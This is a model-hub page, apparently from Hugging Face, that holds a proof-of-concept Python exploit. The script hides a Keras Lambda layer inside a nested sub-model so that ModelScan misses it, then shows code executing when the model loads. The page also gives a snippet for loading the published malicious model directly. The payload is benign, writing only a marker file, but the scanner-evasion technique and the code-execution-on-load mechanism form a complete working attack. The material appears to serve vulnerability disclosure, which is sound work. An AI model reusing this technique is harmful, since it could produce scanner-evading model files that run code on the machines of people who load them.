Instructions to use th3-j0k3r/modelscan-keras-nested-lambda-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use th3-j0k3r/modelscan-keras-nested-lambda-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://th3-j0k3r/modelscan-keras-nested-lambda-bypass") - Notebooks
- Google Colab
- Kaggle
| #!/usr/bin/env python | |
| """ | |
| ModelScan Bypass: Arbitrary Code Execution in a .keras model file | |
| ================================================================== | |
| ModelScan's KerasLambdaDetectScan flags malicious Lambda layers, but it only | |
| inspects the FLAT, top-level `config.layers` list and matches class_name=="Lambda" | |
| exactly (modelscan/scanners/keras/scan.py:119-130). It never recurses into a | |
| nested sub-model. A Lambda hidden one level deep inside a sub-model is therefore | |
| invisible to the scanner, yet Keras still deserializes and executes it on load. | |
| Requires: pip install 'modelscan[tensorflow]' tensorflow keras | |
| Run: python exploit.py | |
| """ | |
| import os, sys, json, zipfile | |
| import keras | |
| from keras.layers import Input, Lambda | |
| # Benign proof: writes a marker file on load. The command literal is INLINE so the | |
| # marshalled lambda is self-contained (no external globals lost on deserialization). | |
| MARKER = "keras_poc_executed.txt" | |
| PAYLOAD = (lambda x: x + __import__("os").system( | |
| "echo MODELSCAN-KERAS-NESTED-BYPASS > keras_poc_executed.txt") * 0) | |
| def build_flat(path): | |
| """A normal (flat) malicious Lambda — ModelScan DETECTS this.""" | |
| inp = Input(shape=(2,)) | |
| out = Lambda(PAYLOAD)(inp) | |
| keras.Model(inp, out, name="flat").save(path) | |
| def build_nested(path): | |
| """The SAME Lambda hidden one level deep — ModelScan MISSES this.""" | |
| i_in = Input(shape=(2,)) | |
| i_out = Lambda(PAYLOAD)(i_in) | |
| inner = keras.Model(i_in, i_out, name="inner_submodel") | |
| o_in = Input(shape=(2,)) | |
| keras.Model(o_in, inner(o_in), name="outer").save(path) | |
| def top_level_classes(path): | |
| with zipfile.ZipFile(path) as z: | |
| cfg = json.loads(z.read("config.json")) | |
| return [l.get("class_name") for l in cfg.get("config", {}).get("layers", [])] | |
| def scan(path): | |
| from modelscan.modelscan import ModelScan | |
| ms = ModelScan(); ms.scan(path) | |
| return len(ms.issues.all_issues) | |
| def main(): | |
| print("=" * 70) | |
| print(" ModelScan Bypass - ACE in .keras via NESTED Lambda layer") | |
| print(" CWE-693 + CWE-502 | Keras 3.x / modelscan 0.8.8") | |
| print("=" * 70) | |
| # [Baseline] Flat malicious Lambda — proves the scanner DOES work | |
| build_flat("flat_model.keras") | |
| flat_issues = scan("flat_model.keras") | |
| print("\n[Baseline] Flat Lambda model:") | |
| print(" top-level layers:", top_level_classes("flat_model.keras")) | |
| print(" ModelScan:", flat_issues, "issue(s) ->", | |
| "DETECTED (scanner works)" if flat_issues else "missed") | |
| # [1] The bypass: identical Lambda nested inside a sub-model | |
| build_nested("model.keras") | |
| print("\n[1] Built malicious model: model.keras (Lambda nested in sub-model)") | |
| print(" top-level layers:", top_level_classes("model.keras")) | |
| # [2] Defender scans it -> 0 issues | |
| nested_issues = scan("model.keras") | |
| print("\n[2] Defender scans it with ModelScan:") | |
| print(" verdict:", "No issues found (BYPASS)" if nested_issues == 0 | |
| else f"DETECTED ({nested_issues})") | |
| # [3] Victim loads the 'clean' model -> code runs | |
| if os.path.exists(MARKER): | |
| os.unlink(MARKER) | |
| print("\n[3] Victim loads the model: keras.saving.load_model(..., safe_mode=False)") | |
| keras.saving.load_model("model.keras", safe_mode=False, compile=False) | |
| # [4] Verify | |
| confirmed = os.path.exists(MARKER) | |
| print("\n[4] Result:", "CODE EXECUTED ON LOAD" if confirmed else "no execution") | |
| if confirmed: | |
| print(" proof file:", MARKER, "->", open(MARKER).read().strip()) | |
| ok = (flat_issues > 0) and (nested_issues == 0) and confirmed | |
| print("\n" + "=" * 70) | |
| print(" STATUS:", "CONFIRMED (flat caught, nested clean + ACE on load)" if ok | |
| else "UNCONFIRMED") | |
| print("=" * 70) | |
| return ok | |
| if __name__ == "__main__": | |
| sys.exit(0 if main() else 1) | |